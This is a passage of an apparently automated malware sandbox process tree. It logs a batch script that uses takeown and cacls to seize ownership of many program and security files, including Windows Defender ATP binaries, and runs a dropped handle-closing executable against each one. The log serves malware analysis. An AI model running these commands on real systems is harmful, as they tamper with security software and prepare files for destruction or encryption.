                                                                                                                cacls "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C
                                                                                                                3⤵
                                                                                                                  PID:4632
                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                  takeown /F "C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"
                                                                                                                  3⤵
                                                                                                                  • Modifies file permissions
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:5052
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner
                                                                                                                  3⤵
                                                                                                                    PID:4840
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                      K9TOpZud.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner
                                                                                                                      4⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:5036
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                    K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                    3⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    PID:4904
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe""
                                                                                                                  2⤵
                                                                                                                    PID:4588
                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                      cacls "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" /E /G Admin:F /C
                                                                                                                      3⤵
                                                                                                                        PID:4132
                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                        takeown /F "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"
                                                                                                                        3⤵
                                                                                                                        • Modifies file permissions
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:4504
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "MsSense.exe" -nobanner
                                                                                                                        3⤵
                                                                                                                          PID:4580
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                            K9TOpZud.exe -accepteula "MsSense.exe" -nobanner
                                                                                                                            4⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:3252
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                          K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                          3⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:4432
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""
                                                                                                                        2⤵
                                                                                                                          PID:4936
                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                            cacls "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui" /E /G Admin:F /C
                                                                                                                            3⤵
                                                                                                                              PID:4868
                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                              takeown /F "C:\Program Files\Windows Photo Viewer\en-US\ImagingDevices.exe.mui"
                                                                                                                              3⤵
                                                                                                                              • Modifies file permissions
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:4812
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                              3⤵
                                                                                                                                PID:4784
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                  K9TOpZud.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                  4⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  PID:4328
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                3⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                PID:3260
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Defender Advanced Threat Protection\SenseCncProxy.exe""
                                                                                                                              2⤵
                                                                                                                                PID:4388
                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                  cacls "C:\Program Files\Windows Defender Advanced Threat Protection\SenseCncProxy.exe" /E /G Admin:F /C
                                                                                                                                  3⤵
                                                                                                                                    PID:4264
                                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                    takeown /F "C:\Program Files\Windows Defender Advanced Threat Protection\SenseCncProxy.exe"
                                                                                                                                    3⤵
                                                                                                                                    • Modifies file permissions
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    PID:4548
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "SenseCncProxy.exe" -nobanner
                                                                                                                                    3⤵
                                                                                                                                      PID:4824
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                        K9TOpZud.exe -accepteula "SenseCncProxy.exe" -nobanner
                                                                                                                                        4⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        PID:4656
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                      K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                      3⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:4520
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""
                                                                                                                                    2⤵
                                                                                                                                      PID:4304
                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                        cacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C
                                                                                                                                        3⤵
                                                                                                                                          PID:5112
                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                          takeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"
                                                                                                                                          3⤵
                                                                                                                                          • Modifies file permissions
                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                          PID:8
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                          3⤵
                                                                                                                                            PID:4848
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                              K9TOpZud.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                              4⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:4892
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                            K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                            3⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:3248
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V""
                                                                                                                                          2⤵
                                                                                                                                            PID:4216
                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                              cacls "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V" /E /G Admin:F /C
                                                                                                                                              3⤵
                                                                                                                                                PID:4700
                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                takeown /F "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V"
                                                                                                                                                3⤵
                                                                                                                                                • Modifies file permissions
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                PID:5084
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "Identity-V" -nobanner
                                                                                                                                                3⤵
                                                                                                                                                  PID:4396
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                    K9TOpZud.exe -accepteula "Identity-V" -nobanner
                                                                                                                                                    4⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:4800
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                  K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                  3⤵
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  PID:3272
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""
                                                                                                                                                2⤵
                                                                                                                                                  PID:4620
                                                                                                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                    cacls "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C
                                                                                                                                                    3⤵
                                                                                                                                                      PID:5016
                                                                                                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                      takeown /F "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"
                                                                                                                                                      3⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                      PID:4496
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "Workflow.Targets" -nobanner
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4492
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                          K9TOpZud.exe -accepteula "Workflow.Targets" -nobanner
                                                                                                                                                          4⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          PID:4480
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                        K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                        3⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        PID:5028
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""
                                                                                                                                                      2⤵
                                                                                                                                                        PID:3564
                                                                                                                                                        • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                          cacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C
                                                                                                                                                          3⤵
                                                                                                                                                            PID:4192
                                                                                                                                                          • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                            takeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"
                                                                                                                                                            3⤵
                                                                                                                                                            • Modifies file permissions
                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                            PID:2648
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                            3⤵
                                                                                                                                                              PID:4672
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                K9TOpZud.exe -accepteula "PhotoAcq.dll.mui" -nobanner
                                                                                                                                                                4⤵
                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                PID:3268
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                              K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                              3⤵
                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                              PID:4616
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\Windows Mail\en-US\msoeres.dll.mui""
                                                                                                                                                            2⤵
                                                                                                                                                              PID:4500
                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                cacls "C:\Program Files (x86)\Windows Mail\en-US\msoeres.dll.mui" /E /G Admin:F /C
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:4104
                                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                  takeown /F "C:\Program Files (x86)\Windows Mail\en-US\msoeres.dll.mui"
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                  PID:4688
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "msoeres.dll.mui" -nobanner
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:5048
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                      K9TOpZud.exe -accepteula "msoeres.dll.mui" -nobanner
                                                                                                                                                                      4⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:2536
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                    K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                    3⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:2560
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe""
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:4232
                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                      cacls "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:204
                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                        takeown /F "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
                                                                                                                                                                        3⤵
                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                        PID:4508
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "ImagingDevices.exe" -nobanner
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:4600
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                            K9TOpZud.exe -accepteula "ImagingDevices.exe" -nobanner
                                                                                                                                                                            4⤵
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            PID:4780
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                          K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                          3⤵
                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                          PID:2640
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat""
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:4116
                                                                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                            cacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat" /E /G Admin:F /C
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:3008
                                                                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                              takeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat"
                                                                                                                                                                              3⤵
                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                              PID:2980
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "settings.dat" -nobanner
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:2472
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                  K9TOpZud.exe -accepteula "settings.dat" -nobanner
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                  PID:4484
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                PID:4240
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H""
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:4472
                                                                                                                                                                                • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                  cacls "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H" /E /G Admin:F /C
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:4488
                                                                                                                                                                                  • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                    takeown /F "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                    PID:248
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "Identity-H" -nobanner
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:272
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                        K9TOpZud.exe -accepteula "Identity-H" -nobanner
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        PID:4476
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                      K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                      PID:268
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.jfm""
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:4752
                                                                                                                                                                                      • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                        cacls "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.jfm" /E /G Admin:F /C
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:216
                                                                                                                                                                                        • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                          takeown /F "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.jfm"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                          PID:2468
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "vedatamodel.jfm" -nobanner
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:5128
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                              K9TOpZud.exe -accepteula "vedatamodel.jfm" -nobanner
                                                                                                                                                                                              4⤵
                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                              PID:5144
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                            K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                            PID:5184
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateSetup.exe""
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:5240
                                                                                                                                                                                            • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                              cacls "C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateSetup.exe" /E /G Admin:F /C
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:5320
                                                                                                                                                                                              • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                takeown /F "C:\Program Files (x86)\Google\Update\1.3.35.452\GoogleUpdateSetup.exe"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                PID:5368
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "GoogleUpdateSetup.exe" -nobanner
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:5416
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                    K9TOpZud.exe -accepteula "GoogleUpdateSetup.exe" -nobanner
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    PID:5432
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                  K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:5456
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:5484
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                    cacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui" /E /G Admin:F /C
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:5540
                                                                                                                                                                                                    • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                      takeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                      PID:5568
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:5588
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                          K9TOpZud.exe -accepteula "ImagingDevices.exe.mui" -nobanner
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:5604
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                        K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5628
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\Windows Mail\en-US\WinMail.exe.mui""
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:5656
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                            cacls "C:\Program Files (x86)\Windows Mail\en-US\WinMail.exe.mui" /E /G Admin:F /C
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:5704
                                                                                                                                                                                                            • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                              takeown /F "C:\Program Files (x86)\Windows Mail\en-US\WinMail.exe.mui"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                              PID:5724
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "WinMail.exe.mui" -nobanner
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:5744
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                  K9TOpZud.exe -accepteula "WinMail.exe.mui" -nobanner
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:5760
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                  K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:5784
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Program Files (x86)\Windows Mail\WinMail.exe""
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:5808
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                      cacls "C:\Program Files (x86)\Windows Mail\WinMail.exe" /E /G Admin:F /C
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:5856
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                        takeown /F "C:\Program Files (x86)\Windows Mail\WinMail.exe"
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                        PID:5876
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c K9TOpZud.exe -accepteula "WinMail.exe" -nobanner
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:5908
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                            K9TOpZud.exe -accepteula "WinMail.exe" -nobanner
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:5924
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\K9TOpZud.exe
                                                                                                                                                                                                                            K9TOpZud.exe -accepteula -c Run -y -p extract -nobanner
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:5948
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\anfTj4k7.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:5976
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cacls.exe
                                                                                                                                                                                                                                cacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:6024
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                                                                                                                                                                  takeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                  PID:6048
